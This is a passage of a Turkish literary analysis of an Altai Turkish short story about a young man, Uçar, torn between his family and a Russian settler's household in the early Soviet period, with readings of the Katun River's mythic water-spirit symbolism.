b\u00f6l\u00fcmde Altay \u00e7ad\u0131r\u0131n\u0131n i\u00e7ini burada bulunan Altay T\u00fcrklerinin geleneksel ya\u015fam\u0131n\u0131, k\u00fclt\u00fcrlerini yans\u0131tan e\u015fyalar\u0131n adlar\u0131n\u0131 da zikrederek tasvir eder. E\u015fyalar ve yiyecekler (k\u00fcp, kay\u0131r\u00e7ak, eer, kuuk, kurgad\u0131p koygon ma\u00f1\u0131rd\u0131\u00f1 tiz\u00fczi, kazan, sok\u0131 ve ot-ene) \u00e7ad\u0131r\u0131n i\u00e7indeki sessizli\u011fe e\u015flik eder. Yazar, ad\u0131n\u0131 s\u0131ralad\u0131\u011f\u0131 nesneler yoluyla \u00e2deta Altay T\u00fcrklerinin g\u00fcnl\u00fck hayat\u0131n\u0131 ve ortak haf\u0131zas\u0131n\u0131 \u00f6zetler. Hik\u00e2ye ilerledik\u00e7e bu; ev tasviri, anne (K\u00fcre\u00f1dey), baba (\u015ealt\u0131rak) ve \u00e7ocuklar\u0131 (U\u00e7ar) \u00fczerine y\u00f6nelir. K\u00fcre\u00f1dey ve \u015ealt\u0131rak\u2019\u0131n o\u011fullar\u0131 U\u00e7ar\u2019\u0131 Kad\u0131n Nehri\u2019nin \u00f6te yakas\u0131ndaki Rus Kallistrat\u2019\u0131n evine \u00e7al\u0131\u015fmaya gitmemesi i\u00e7in ikna etmeye \u00e7al\u0131\u015ft\u0131klar\u0131 anla\u015f\u0131l\u0131r. Bu iknan\u0131n \u00f6z\u00fcnde, ebeveynlerin U\u00e7ar\u2019\u0131 Rusla\u015farak yabanc\u0131la\u015fmaktan kurtarma \u00e7abas\u0131 i\u00e7inde olduklar\u0131, hik\u00e2yenin ilerleyen b\u00f6l\u00fcmlerinde daha iyi anla\u015f\u0131l\u0131r.<\/p>\n\n\n\n \u00c7ad\u0131r\u0131n i\u00e7indeki sessizlik, ba\u015fk\u00f6\u015fede oturan baban\u0131n konu\u015fmas\u0131yla bozulur: \u201cSen can\u0131p kel uul\u0131m, can\u0131p kel. (Sen d\u00f6n\u00fcp gel o\u011flum, d\u00f6n\u00fcp gel.)\u201d Baban\u0131n bu s\u00f6zlerinin akabinde anne \u015f\u00f6yle devam eder: \u201cCan deydim, balam, can. Ol Orust\u0131\u00f1 ayl\u0131na kan\u00e7az\u0131n c\u00fcrerge, kan\u00e7az\u0131n ogo kul bolorgo. (D\u00f6n dedim, yavrum, d\u00f6n. O Rus\u2019un evine daha ne kadar gidip ona daha ne kadar kulluk edeceksin.)\u201d K\u00fcre\u00f1dey\u2019in bu s\u00f6zleri o\u011fluna kendisi i\u00e7in, kendisi olarak ya\u015famak ve kendisi olma gereklili\u011fini an\u0131msatan bir annenin i\u00e7tenli\u011fiyle s\u00f6ylenmi\u015f olup hik\u00e2yenin kurgusunun da \u00f6zeti mahiyetindedir. \u00d6zellikle \u201cRus\u2019a kulluk etmek\u201d ifadesi Altay T\u00fcrklerinin haf\u0131zalar\u0131ndaki Rus alg\u0131s\u0131n\u0131, Ruslar kar\u015f\u0131s\u0131ndaki konumlar\u0131n\u0131 yans\u0131t\u0131r mahiyettedir. Hem \u015ealt\u0131rak\u2019\u0131n hem de K\u00fcre\u00f1dey\u2019in U\u00e7ar\u2019la konu\u015furken \u201ccan- (d\u00f6n-)\u201d fiilini kullanmalar\u0131n\u0131n yazar\u0131n bilin\u00e7li bir tercihi oldu\u011fu anla\u015f\u0131l\u0131r. U\u00e7ar, yaln\u0131z ailesinden de\u011fil i\u00e7ine do\u011fdu\u011fu toplumdan da uzakla\u015fm\u0131\u015ft\u0131r. Anne ve babas\u0131 onun do\u011fal ya\u015fam alan\u0131na d\u00f6nmesi i\u00e7in \u0131srar ederler.<\/p>\n\n\n\n U\u00e7ar, \u00dc\u00e7 S\u00fcmer Da\u011f\u0131\u2019yla birlikte Altay co\u011frafyas\u0131 ve k\u00fclt\u00fcr\u00fcn\u00fcn iki kutsal simgesinden biri olan Kad\u0131n Nehri\u2019nin \u00f6te yakas\u0131nda ya\u015fayan Rus Kallistrat\u2019\u0131n yan\u0131nda \u0131rgat olarak \u00e7al\u0131\u015fmaktad\u0131r. K\u00fcre\u00f1dey\u2019in yukar\u0131daki ifadesinden anl\u0131yoruz ki Ruslar, Altay co\u011frafyas\u0131na g\u00f6\u00e7men olarak gelmi\u015fler ve Altay T\u00fcrklerinin gen\u00e7li\u011fini kendilerine tabi k\u0131lm\u0131\u015flar. K\u00fcre\u00f1dey\u2019in s\u00f6zlerinin devam\u0131nda U\u00e7ar\u2019\u0131n evine gitti\u011fi Kallistrat\u2019\u0131n Fedosya adl\u0131 k\u0131z\u0131na \u00e2\u015f\u0131k oldu\u011fu anla\u015f\u0131l\u0131r. K\u00fcre\u00f1dey, U\u00e7ar\u2019\u0131 bu a\u015fktan (asl\u0131nda Rusla\u015farak yabanc\u0131la\u015fmaktan) vazge\u00e7irmeye \u00e7al\u0131\u015f\u0131r:<\/p>\n\n\n\n Sen, o O\u00f1or\u2019un (Rus\u2019un) Fedosya adl\u0131 k\u0131z\u0131n\u0131n etraf\u0131nda m\u0131 d\u00f6n\u00fcp duruyorsun? Uzak dur ondan. Ba\u015fka milletten evlenmek art\u0131k son bulsun. \u0130nsan g\u00f6r\u00fcyor i\u015fte. O\u00f1or, gelin iyi zaman\u0131nda sana iyi davran\u0131r. G\u00fcc\u00fcn, h\u00e2lin vaktin yerinde, elin aya\u011f\u0131n tutarken seni kocas\u0131 bilir. Hastalan\u0131p g\u00fc\u00e7ten d\u00fc\u015ft\u00fc\u011f\u00fcnde ise seni adam yerine bile koymaz. Anan baban olan bizleri de \u00f6nemsemez. D\u00fc\u015f\u00fcn, d\u00fc\u015f\u00fcn (s. 4)![2<\/a>]<\/p>\n\n\n\n K\u00fcre\u00f1dey bunlar\u0131 s\u00f6yleyerek Altay T\u00fcrkleri ve Ruslar aras\u0131ndaki aile ya\u015fam\u0131 ve aileyi olu\u015fturan bireyler aras\u0131ndaki fark\u0131 ortaya koymakla kalmaz, Ruslar\u0131n yaln\u0131zca iyi g\u00fcn dostu olduklar\u0131n\u0131 da vurgulayarak Ruslarla Altay T\u00fcrkleri aras\u0131ndaki ayr\u0131ma dikkat \u00e7eker. Esas\u0131nda K\u00fcre\u00f1dey, bu k\u0131sa c\u00fcmlesinde Ruslar hakk\u0131nda \u201csolgun y\u00fczl\u00fc\u201d, \u201csolmu\u015f\u201d anlam\u0131na gelen ve olumsuz bir anlama sahip \u201cO\u00f1or\u201d s\u00f6zc\u00fc\u011f\u00fcn\u00fc kullanarak ve yine Ruslar i\u00e7in \u201cba\u015fka millet\/ba\u015fka soy (\u00f6sk\u00f6 l\u00f6 ukta\u00f1)\u201d vurgusunu yaparak Altay T\u00fcrkleri i\u00e7in Ruslar\u0131n \u201c\u00f6teki\u201d oldu\u011funu ve \u00f6tekiyle ortak bir ya\u015fam kurman\u0131n m\u00fcmk\u00fcn olamayaca\u011f\u0131n\u0131 U\u00e7ar\u2019a s\u00f6ylemi\u015f olur. \u00d6tekile\u015ftirme mekanizmas\u0131n\u0131 dil kullan\u0131m\u0131 \u00fczerinden yaparak \u201cbiz (Altay T\u00fcrkleri)\u201d ve \u201c\u00f6teki (Rus)\u201d aras\u0131ndaki s\u0131n\u0131r\u0131 \u0131rk ve cinsiyet ayr\u0131m\u0131 \u00fczerinden belirler. Babas\u0131 \u015ealt\u0131rak ise U\u00e7ar\u2019\u0131n omuzlar\u0131na y\u00fcklenen bireysel sorumlulu\u011fu hat\u0131rlat\u0131r:<\/p>\n\n\n\n Anla o\u011flum! Anla ve d\u00fc\u015f\u00fcn! B\u00fcy\u00fck a\u011fabeyin sava\u015fta \u00f6ld\u00fc. K\u00fc\u00e7\u00fck a\u011fabeyin de bu Kad\u0131n Nehri\u2019nde bo\u011fuldu. Onun iki k\u00fc\u00e7\u00fck \u00e7ocu\u011fu kald\u0131. B\u00fcy\u00fck a\u011fabeyinin \u00e7ocuklar\u0131 yeni yeni b\u00fcy\u00fcmek \u00fczereler. K\u0131z karde\u015fin de k\u00fc\u00e7\u00fck. Kim onlar\u0131 himaye edip g\u00f6z kulak olacak? Annen de ben de ya\u015fland\u0131k. Bizim de bak\u0131ma ihtiyac\u0131m\u0131z var. Bu \u00f6ks\u00fczleri biz ihtiyarlar nas\u0131l besleyip b\u00fcy\u00fctelim. Hepimizi koruyup kollayan, i\u015fleri h\u00e2lleden k\u00fc\u00e7\u00fck a\u011fabeyindi. \u015eimdi o da yok. Ot, odun i\u015flerini kim yapacak? Bu iki sahipsiz ve yaln\u0131z ihtiyara kim sahip \u00e7\u0131kacak? \u00d6te yakada yapacak i\u015fin yok. Ben seni o yakaya bilerek g\u00f6nderdim. Fakat \u015fimdi gere\u011fi kalmad\u0131. Yeni bir devlet d\u00fczeni geldi. Alt\u0131n Sovyet iktidar\u0131 geldi. \u015eimdi bu ya\u015fad\u0131\u011f\u0131m\u0131z yerden bizi hi\u00e7 kimse s\u00fcremez (s. 5).<\/p>\n\n\n\n \u015ealt\u0131rak, bir yandan o\u011flu U\u00e7ar\u2019a ailenin b\u00fct\u00fcn sorumlulu\u011funu y\u00fcklerken di\u011fer yandan Altay T\u00fcrklerinin art\u0131k eski Rus sistemine ba\u011fl\u0131 ve itaatk\u00e2r olma zamanlar\u0131n\u0131n ge\u00e7ti\u011fini \u00e7\u00fcnk\u00fc Sovyet d\u00fczeninin kuruldu\u011funu s\u00f6yler. \u015ealt\u0131rak\u2019\u0131n bu ifadesi ve Kallistrat\u2019\u0131n Petro ad\u0131ndaki o\u011flunun 1921- 1922 y\u0131llar\u0131nda Altay\u2019daki asker\u00ee \u00e7at\u0131\u015fmalarda \u00f6ld\u00fc\u011f\u00fc dikkate al\u0131nd\u0131\u011f\u0131nda hik\u00e2yedeki olaylar\u0131n SSCB\u2019nin kurulu\u015f y\u0131llar\u0131nda (muhtemelen 1920\u2019li y\u0131llar\u0131n ilk yar\u0131s\u0131nda) ge\u00e7ti\u011fi sonucunu \u00e7\u0131karmak m\u00fcmk\u00fcnd\u00fcr. Hik\u00e2yenin ilerleyen b\u00f6l\u00fcmlerinde Sovyet sistemi, \u201calt\u0131n Sovyet, Sovyet ca\u00f1 (Sovyet d\u00fczeni\/Sovyet iktidar\u0131)\u201d ve \u201cca\u00f1\u0131 ca\u00f1 (yeni d\u00fczen\/yeni iktidar)\u201d ifadeleriyle olumlanarak anlat\u0131l\u0131r. Yazar, hik\u00e2ye boyunca Sovyet sisteminden bahsederken s\u0131kl\u0131kla \u201cSovyetti\u00f1 ca\u00f1\u0131 t\u0131n\u0131p cat (Sovyet iktidar\u0131 g\u00fc\u00e7leniyor)\u201d ifadesini kullan\u0131r. Dolay\u0131s\u0131yla yazar\u0131n bak\u0131\u015f a\u00e7\u0131s\u0131na g\u00f6re Altay T\u00fcrkleri Sovyet sisteminin kurulmas\u0131n\u0131 kendileri a\u00e7\u0131s\u0131ndan olumlu kar\u015f\u0131lam\u0131\u015ft\u0131r. \u015ealt\u0131rak, \u00c7arl\u0131k sistemini \u00f6tekile\u015ftirirken Sovyet y\u00f6netimini \u201cbiz\u201d anlay\u0131\u015f\u0131na yak\u0131n kabul eder. Bu durum, Sovyet sistemindeki biz ve \u00f6teki kavramlar\u0131n\u0131n i\u00e7 d\u00fc\u015fman unsuru \u00fczerine kuruldu\u011funun bir \u00f6rne\u011fi olarak kar\u015f\u0131m\u0131za \u00e7\u0131kar. B\u00f6ylelikle hik\u00e2ye kurgusundaki ilk \u00e7at\u0131\u015fma g\u00f6r\u00fcl\u00fcr: U\u00e7ar\u2019\u0131n anne babas\u0131yla Rus g\u00f6\u00e7men Kallistrat aras\u0131nda i\u015flenen kar\u015f\u0131tl\u0131k ayn\u0131 zamanda Altay ve Rus toplumlar\u0131 aras\u0131ndaki kar\u015f\u0131tl\u0131kt\u0131r. U\u00e7ar\u2019\u0131n anne ve babas\u0131 Altay co\u011frafyas\u0131n\u0131n as\u0131l sahipleri iken Kallistrat, b\u00f6lgeye sonradan gelen Rus g\u00f6\u00e7menleri temsil eder. Bu \u00e7at\u0131\u015fma, hik\u00e2ye ilerledik\u00e7e K\u00fcre\u00f1dey ve Kallistrat aras\u0131nda yo\u011funla\u015facakt\u0131r.<\/p>\n\n\n\n Anne, baba ve U\u00e7ar aras\u0131nda ge\u00e7en gergin konu\u015fmadan sonra U\u00e7ar, ak\u015fam\u0131n karanl\u0131\u011f\u0131nda nehrin \u00f6te yakas\u0131na ge\u00e7mek i\u00e7in evden ayr\u0131l\u0131r. At\u0131n\u0131 ba\u011flay\u0131p Kad\u0131n Nehri\u2019ni ge\u00e7mek \u00fczereyken \u00e7ocuklu\u011fundan beri en yak\u0131n arkada\u015f\u0131 olan Salk\u0131n\u2019la kar\u015f\u0131la\u015f\u0131r. Salk\u0131n, U\u00e7ar\u2019\u0131 Kallistrat\u2019a kulluk etmekle su\u00e7lar. Salk\u0131n\u2019a g\u00f6re Kallistrat, yeni kurulmakta olan Sovyet sisteminin kar\u015f\u0131s\u0131nda duran zengin bir \u201ckulak\u201dt\u0131r. Dolay\u0131s\u0131yla Kallistrat ve ona kulluk eden U\u00e7ar, Sovyet sistemini kurmaya \u00e7al\u0131\u015fan Salk\u0131n gibi gen\u00e7lerin d\u00fc\u015fman\u0131d\u0131r. Salk\u0131n, U\u00e7ar\u2019a hedeflerinin kar\u015f\u0131s\u0131na babas\u0131 ya da karde\u015fi de \u00e7\u0131ksa onlara merhamet etmeyece\u011fini s\u00f6yler. Hik\u00e2yenin \u015fah\u0131slar kadrosu aras\u0131nda g\u00f6r\u00fclen ve politik \u00f6zellikler ta\u015f\u0131yan ilk \u00e7at\u0131\u015fma U\u00e7ar ile Salk\u0131n kar\u015f\u0131tl\u0131\u011f\u0131d\u0131r. Salk\u0131n, kendini Sovyet sistemine adam\u0131\u015f bir gen\u00e7 olarak sunulurken U\u00e7ar, ailesi ve i\u00e7ine do\u011fdu\u011fu toplumun ger\u00e7eklerinden uzakla\u015fm\u0131\u015f \u00f6tekile\u015fme s\u00fcrecindeki bir gen\u00e7 olarak tan\u0131t\u0131l\u0131r.<\/p>\n\n\n\n U\u00e7ar ve Salk\u0131n aralar\u0131nda ge\u00e7en sert konu\u015fman\u0131n sonunda ikisi kavgaya tutu\u015fmak \u00fczereyken U\u00e7ar\u2019\u0131n be\u015fik kertmesi olan \u015e\u0131ra\u00f1kay gelerek onlar\u0131 gen\u00e7lerin e\u011flencesine davet eder. Hik\u00e2yenin ba\u015flang\u0131\u00e7 b\u00f6l\u00fcm\u00fcnde g\u00f6rd\u00fc\u011f\u00fcm\u00fcz ikinci \u00e7at\u0131\u015fma, U\u00e7ar\u2019\u0131n be\u015fik kertmesi olan Altay T\u00fcrk\u00fc \u015e\u0131ra\u00f1kay ile Rus Fedosya aras\u0131ndaki kar\u015f\u0131tl\u0131kt\u0131r. Anne ve babas\u0131yla Kallistrat aras\u0131nda kalan U\u00e7ar, ayn\u0131 zamanda \u015e\u0131ra\u00f1kay (Altay T\u00fcrk\u00fc) ile Fedosya (Rus) aras\u0131nda da kalm\u0131\u015ft\u0131r. O, bir yandan geleneksel yollarla (be\u015fik kertmesi) evlendirilmek istenirken di\u011fer yandan Kallistrat\u2019\u0131n k\u0131z\u0131 Fedosya\u2019ya \u00e2\u015f\u0131k olmu\u015f ve zamanla \u015e\u0131ra\u00f1kay\u2019dan uzakla\u015fm\u0131\u015ft\u0131r. Fedosya, hik\u00e2yede Altay gen\u00e7lerinin hayranl\u0131k duydu\u011fu Rus k\u00fclt\u00fcr\u00fc ve zenginli\u011finin cazibesini sembolize eder. \u015e\u0131ra\u00f1kay ise gen\u00e7 bir k\u0131z olarak K\u00fcre\u00f1dey ile birlikte Altay\u2019\u0131n geleneksel di\u015fil yan\u0131d\u0131r.<\/p>\n\n\n\n \u015e\u0131ra\u00f1kay\u2019\u0131n daveti \u00fczerine kat\u0131ld\u0131\u011f\u0131 ak\u015fam e\u011flencesinden ayr\u0131lan U\u00e7ar, Kad\u0131n Nehri\u2019ni ge\u00e7mek i\u00e7in ailesinin kay\u0131\u011f\u0131n\u0131n oldu\u011fu yere gelir. Fakat U\u00e7ar\u2019\u0131n kar\u015f\u0131 k\u0131y\u0131ya ge\u00e7memesi i\u00e7in babas\u0131n\u0131n kay\u0131\u011f\u0131 k\u0131y\u0131ya ba\u011flay\u0131p kilitledi\u011fini g\u00f6r\u00fcr. U\u00e7ar, ilk kez on be\u015f ya\u015f\u0131ndayken Kad\u0131n Nehri\u2019ni y\u00fczerek kar\u015f\u0131 k\u0131y\u0131ya ge\u00e7mi\u015f, sonras\u0131nda ise y\u0131lda birka\u00e7 kez bunu tekrarlam\u0131\u015ft\u0131r. Bu tecr\u00fcbelerinden de cesaret alarak at\u0131yla Kad\u0131n Nehri\u2019ne girip \u00f6te yakaya ge\u00e7meye niyetlenir. O, karars\u0131zl\u0131k h\u00e2lindeyken halk\u0131n haf\u0131zas\u0131ndaki ve hayal g\u00fcc\u00fcndeki Su \u0130yesi\u2019nin U\u00e7ar\u2019a sesleni\u015fi dile getirilir. Bu sesleni\u015fteki her c\u00fcmle \u00e2deta mitik kalp at\u0131\u015flar\u0131 gibidir:<\/p>\n\n\n\n \u201cEy yavrum! Ge\u00e7me, ge\u00e7me. Felakete gelme yavrum!\u201d dedi Kad\u0131n Nehri. Ta\u015flara \u00e7arpt\u0131, kement gibi doland\u0131, dalgaland\u0131, y\u00fckselip al\u00e7ald\u0131. \u201cBen, ay\u0131n bu eski zaman\u0131nda sana ana de\u011filim. Ben \u015fimdi a\u00e7g\u00f6zl\u00fc bir kad\u0131n\u0131m, k\u00f6t\u00fc Su \u0130yesi\u2019yim. Senden daha yi\u011fit, daha yak\u0131\u015f\u0131kl\u0131, daha cesur delikanl\u0131lar\u0131 ald\u0131m, nazlad\u0131m. Senin gibi delikanl\u0131lar kuca\u011f\u0131mdan ayr\u0131lamad\u0131. Onlar \u015fimdi sonsuza kadar benim. Onlar bende\u2026 Onlar bende canl\u0131\u2026 Sonsuza kadar gen\u00e7 kalacaklar, benim dalgalar\u0131mla a\u015fa\u011f\u0131 yukar\u0131 sallanacaklar, g\u00f6zleri sular\u0131m\u0131n \u00f6tesine do\u011fru parlayacak. Onlar burada rahat, burada mutlu olsalar da s\u00fcrekli Cer Enezi\u2019ne (Yer Ana\u2019ya) y\u00f6nelip duruyorlar, sular\u0131mdan \u00e7\u0131kmak i\u00e7in m\u00fcsait k\u0131y\u0131 ya da bazen de dinlenecekleri durgun bir yer ar\u0131yorlar. Onlar sakinlik ve rahatl\u0131k aray\u0131p, durup dinlenmek istiyorlar. H\u00e2lbuki ben suyum, her zaman hareket h\u00e2linde ve ak\u0131nt\u0131l\u0131y\u0131m. Kaderlerinde benden ayr\u0131lmak yoktur\u2026 Fakat sen gel! Yi\u011fidim gel! Sana masal yerinin g\u00fczelliklerini g\u00f6stereyim, sihirli ezgileri dinleteyim. \u0130kimiz bal\u0131k olup yar\u0131\u015f\u0131r\u0131z, seviniriz, sevi\u015firiz. Ben saf\u0131m, ben parla\u011f\u0131m, ben g\u00f6k ye\u015filim, so\u011fu\u011fum ben. Ben topraktan g\u00fczel, ben topraktan daha efsunlu ve hayret vericiyim\u201d (s. 19).<\/p>\n\n\n\n U\u00e7ar ta\u015ftan ta\u015fa atlayarak Kad\u0131n Nehri\u2019ne yakla\u015f\u0131r ve bir destan kahraman\u0131n\u0131n \u00f6n\u00fcne \u00e7\u0131kan engellerden biriymi\u015f\u00e7esine Kad\u0131n Nehri\u2019ne seslenir: \u201cBen rakibine meydan okuyan bir s\u0131\u011f\u0131n\u0131m, yavrusunu koruyan bir ay\u0131y\u0131m. Gerilmi\u015f bir yay\u0131m, dalgalarla oyna\u015f\u0131p sular\u0131 ok gibi ge\u00e7en bir bal\u0131\u011f\u0131m.\u201d der (s. 19).<\/p>\n\n\n\n Eliade\u2019a g\u00f6re mitik d\u00fc\u015f\u00fcncede evrenin \u201cmateria primas\u0131\u201d olarak de\u011ferlendirilen su, varl\u0131\u011f\u0131 kuran ve \u00f6nceleyen b\u00fct\u00fcn varolu\u015f olanaklar\u0131n\u0131 i\u00e7inde bar\u0131nd\u0131ran ilk cevher olarak kabul edilir (Eliade, 1993, s. 131, 178). Eliade\u2019nin bu g\u00f6r\u00fc\u015f\u00fcn\u00fc destekleyen Saydam\u2019a g\u00f6re ise su, yarat\u0131c\u0131 \u201cpotansiyel\u201din, do\u011furganl\u0131\u011f\u0131n, ana rahminin sembol\u00fcd\u00fcr. Hint mitolojisinin de\u011ferli kaynaklar\u0131ndan Veda<\/em> metinlerinde suya verilen ad \u201cm\u00e2tritam\u00e2h\u201d yani \u201cannelerin en y\u00fccesi\u201d, \u201cannelerin annesi\u201ddir. Su, annenin en g\u00fczel oldu\u011fu kadar en \u00fcrk\u00fct\u00fcc\u00fc \u00f6zelliklerini de ta\u015f\u0131r. \u0130yi ve k\u00f6t\u00fcy\u00fc bir arada i\u00e7eren, iki kutuplu bir kavramd\u0131r: Hem can verici hem can al\u0131c\u0131d\u0131r. Hem \u00f6l\u00fcm\u00fc (suda batma, kaybolma, bo\u011fulma) hem do\u011fumu ve yeniden do\u011fumu (sudan \u00e7\u0131kma) simgeler. Tanr\u0131\u00e7alar, su perileri, denizk\u0131zlar\u0131, sirenler, deniz canavarlar\u0131, ahtapotlar, dev bal\u0131klar, kuyular, gen\u00e7lik p\u0131narlar\u0131 vb. hep su motifinin ya\u015fam\u0131 tehdit edici ya da yenileyici y\u00f6n\u00fcn\u00fc temsil eder (Saydam, 1997, s. 117). Suyun bu \u00f6zellikleri dikkate al\u0131nd\u0131\u011f\u0131nda Kad\u0131n Nehri, U\u00e7ar\u2019\u0131n annesi K\u00fcre\u00f1dey\u2019in do\u011fadaki kar\u015f\u0131l\u0131\u011f\u0131d\u0131r. K\u00fcre\u00f1dey gibi Kad\u0131n Nehri de U\u00e7ar\u2019\u0131n \u00f6te yakaya ge\u00e7mesine izin vermek istemez.<\/p>\n\n\n\n Di\u011fer mitolojilerde oldu\u011fu gibi T\u00fcrk mitolojisinde de su, yarat\u0131l\u0131\u015f\u0131n \u00f6z\u00fc olarak anlat\u0131l\u0131r ve iyesi genel olarak di\u015fil kabul edilir. Su iyesi merhametli oldu\u011fu kadar -di\u011fer iyelerde oldu\u011fu gibi- onunla ilgili yasaklar ihlal edildi\u011finde ac\u0131mas\u0131zd\u0131r. Su iyesi hik\u00e2yede daha \u00e7ok olumsuz y\u00f6nleriyle edeb\u00ee bir \u015fekilde i\u015flenir. K\u00fcre\u00f1dey\u2019in ortanca o\u011flu, Ay\u2019\u0131n eski h\u00e2linde Kad\u0131n Nehri\u2019nde bo\u011fularak \u00f6lm\u00fc\u015ft\u00fcr. K\u00fcre\u00f1dey\u2019in mensup oldu\u011fu toplumda do\u011fa ile insan aras\u0131nda topografik bir s\u0131n\u0131r ya da ayr\u0131m olmad\u0131\u011f\u0131 gibi insanla do\u011fa aras\u0131nda z\u0131mni bir anla\u015fma yap\u0131lm\u0131\u015f gibidir: Yasaklar\u0131n ihlalinin bazen \u00f6l\u00fcmle cezaland\u0131r\u0131ld\u0131\u011f\u0131 bir anla\u015fma. Geleneksel Altay inan\u00e7lar\u0131na g\u00f6re Ay\u2019\u0131n eski h\u00e2linde suya girmek yasakt\u0131r. B\u00f6yle zamanlarda suya giren ki\u015finin ba\u015f\u0131na felaketler gelir, hatta bo\u011fularak \u00f6l\u00fcr. Altay T\u00fcrkleri i\u00e7in sadece su de\u011fil b\u00fct\u00fcn bir do\u011fa yaln\u0131zca insana ya\u015fam vasat\u0131 sunmakla kalmaz, do\u011fa ve ona ait her unsur ayn\u0131 zamanda bir tap\u0131nakt\u0131r. Bu nedenle Kad\u0131n Nehri, Altay T\u00fcrkleri i\u00e7in d\u00fcnyan\u0131n herhangi bir yerindeki herhangi bir nehir olman\u0131n \u00f6tesinde bir anlam ta\u015f\u0131r: Bu nehir, etraf\u0131nda \u00f6r\u00fcnt\u00fclenmi\u015f inan\u00e7 ve efsanelerle Altay co\u011frafyas\u0131n\u0131n atardamar\u0131, ya\u015fam suyudur. Bu co\u011frafyada \u201cdo\u011fa ile k\u00fclt\u00fcr\u201d ve \u201cdo\u011fa ile inan\u00e7\u201d ayr\u0131lmaz bir birliktelik h\u00e2lindedir. Bu birliktelik durumu do\u011fan\u0131n nesnele\u015ftirilmesine kar\u015f\u0131t bir tutum sergiler. Bu sergileyi\u015fte en k\u00fc\u00e7\u00fck bir do\u011fa unsuru ya da olay\u0131 insan ya\u015fam\u0131n\u0131n d\u0131\u015f\u0131nda tutulamaz ve insan, do\u011fay\u0131 evcille\u015ftirmek amac\u0131nda olmay\u0131p do\u011fan\u0131n kural ve \u015fartlar\u0131na uyumlu bir ya\u015fam s\u00fcrmelidir.<\/p>\n\n\n\n U\u00e7ar, b\u00fct\u00fcn bunlar\u0131 bilmesine ra\u011fmen gece yar\u0131s\u0131 nehre girer. Kad\u0131n Nehri\u2019nin so\u011fuk ve tehlikeli suyunu at\u0131yla birlikte y\u00fczerek ge\u00e7meyi ba\u015far\u0131r. Karanl\u0131kta Kallistrat\u2019\u0131n evine do\u011fru giderken sert bir ses ona \u201cDur!\u201d diye seslenir. Atl\u0131 iki ki\u015fi karanl\u0131ktan ona do\u011fru gelir. \u0130\u00e7lerinden biri U\u00e7ar\u2019a elindeki kementle vurup at\u0131ndan indirir. U\u00e7ar\u2019\u0131 durduranlar\u0131n yan\u0131na iki ki\u015fi daha gelir. B\u00f6ylece d\u00f6rt ki\u015fi olurlar. U\u00e7ar, onlardan biri hari\u00e7 di\u011ferlerini tan\u0131r; tan\u0131d\u0131klar\u0131ndan biri ar\u0131c\u0131 Saveliy, ikincisi onun o\u011flu Mitra, di\u011feri ise hayvanc\u0131l\u0131k yapan Evlampiy\u2019dir. \u201cOnlar \u015fimdi birer e\u015fk\u0131ya, devrim kar\u015f\u0131t\u0131 \u2018Ak\u2019 m\u0131 olmu\u015flar!\u201d diye i\u00e7inden ge\u00e7irir U\u00e7ar. Bu d\u00f6rt ki\u015fi U\u00e7ar\u2019\u0131 bir ta\u015fa ba\u011flayarak Kad\u0131n Nehri\u2019ne at\u0131p \u00f6ld\u00fcrmekle tehdit ederler. \u0130\u00e7lerinden en gen\u00e7 olan\u0131 Saveliy\u2019in o\u011flu Mitra, U\u00e7ar\u2019dan Kallistrat\u2019\u0131n anahtarlar\u0131n\u0131n yerini sorar. Ama\u00e7lar\u0131 U\u00e7ar\u2019\u0131 kullanarak Kallistrat\u2019\u0131n evini soymakt\u0131r. Mitra da U\u00e7ar gibi Fedosya\u2019ya \u00e2\u015f\u0131kt\u0131r. Bu y\u00fczden U\u00e7ar\u2019\u0131 d\u00fc\u015fman\u0131 olarak kabul eder. D\u00f6rt ki\u015fi ertesi g\u00fcn gece yar\u0131s\u0131 Kallistrat\u2019\u0131n evine geleceklerini, geli\u015flerinin i\u015fareti olarak \u00fc\u00e7 kez puhu ku\u015fu gibi \u00f6teceklerini, \u00f6t\u00fc\u015f\u00fc duyunca U\u00e7ar\u2019\u0131n kap\u0131lar\u0131 a\u00e7mas\u0131 gerekti\u011fini s\u00f6ylerler. Aksi h\u00e2lde b\u00fct\u00fcn ailesini \u00f6ld\u00fcrmekle tehdit edip, U\u00e7ar\u2019\u0131 serbest b\u0131rakarak uzakla\u015f\u0131p giderler.<\/p>\n\n\n\n E\u015fk\u0131yalar\u0131n serbest b\u0131rakt\u0131\u011f\u0131 U\u00e7ar, Kallistrat\u2019\u0131n evine do\u011fru giderken alt\u0131 ya\u015f\u0131ndayken bir yaz g\u00fcn\u00fc Kallistrat\u2019\u0131 ilk g\u00f6rd\u00fc\u011f\u00fc zaman\u0131 ve tan\u0131\u015fmalar\u0131n\u0131 hat\u0131rlar. Bu tan\u0131\u015fmayla birlikte Kallistrat\u2019\u0131n U\u00e7ar\u2019\u0131n yazg\u0131s\u0131n\u0131 etkileyen olaylardaki rol\u00fc de belirginle\u015fmeye ba\u015flar. U\u00e7ar, Kallistrat\u2019\u0131 kara sakal\u0131, k\u0131z\u0131l y\u00fcz\u00fc ve terli ak g\u00f6mle\u011fiyle su iyesi veya Altay iyesi zanneder. Bu zannedi\u015f, Altay T\u00fcrklerinin kendilerinden daha g\u00fc\u00e7l\u00fc bir toplum olan Ruslarla ilk kar\u015f\u0131la\u015fmalar\u0131na yap\u0131lan bir g\u00f6nderme i\u00e7erir. O g\u00fcnden sonra U\u00e7ar, Kallistrat\u2019\u0131n evine gidip gelmeye ba\u015flar. Kallistrat, U\u00e7ar\u2019\u0131 daha \u00f6nce \u00f6lm\u00fc\u015f olan Petro adl\u0131 o\u011flunun yerine koyar. Petro, hik\u00e2yede Altay kar\u015f\u0131t\u0131 Rus gen\u00e7lerinin sembol\u00fcd\u00fcr. K\u0131z\u0131llara kar\u015f\u0131 sava\u015fan Kaygorodov\u2019a[3<\/a>] kat\u0131l\u0131r. Fakat girdi\u011fi \u00e7at\u0131\u015fmalar\u0131n birinde \u00f6l\u00fcr. Saveliy ve di\u011ferlerinin sald\u0131r\u0131s\u0131n\u0131 bekleyen Kallistrat, kaybetti\u011fi o\u011flunun yoklu\u011funu sitemle anar:<\/p>\n\n\n\n O\u011flum\u2026 Yavrum\u2026 Ni\u00e7in b\u00f6yle bir hata yapt\u0131n? B\u00f6yle olas\u0131n diye mi b\u00fcy\u00fctt\u00fcm seni? Ni\u00e7in s\u00f6z\u00fcm\u00fc dinlemedin?.. Sen sa\u011f olsayd\u0131n, \u015fimdi beni basmaya gelen itler korkarlard\u0131\u2026 \u0130yi huylu bir o\u011ful olarak b\u00fcy\u00fcd\u00fcn. Yumu\u015fak y\u00fcrekli. Hayvan 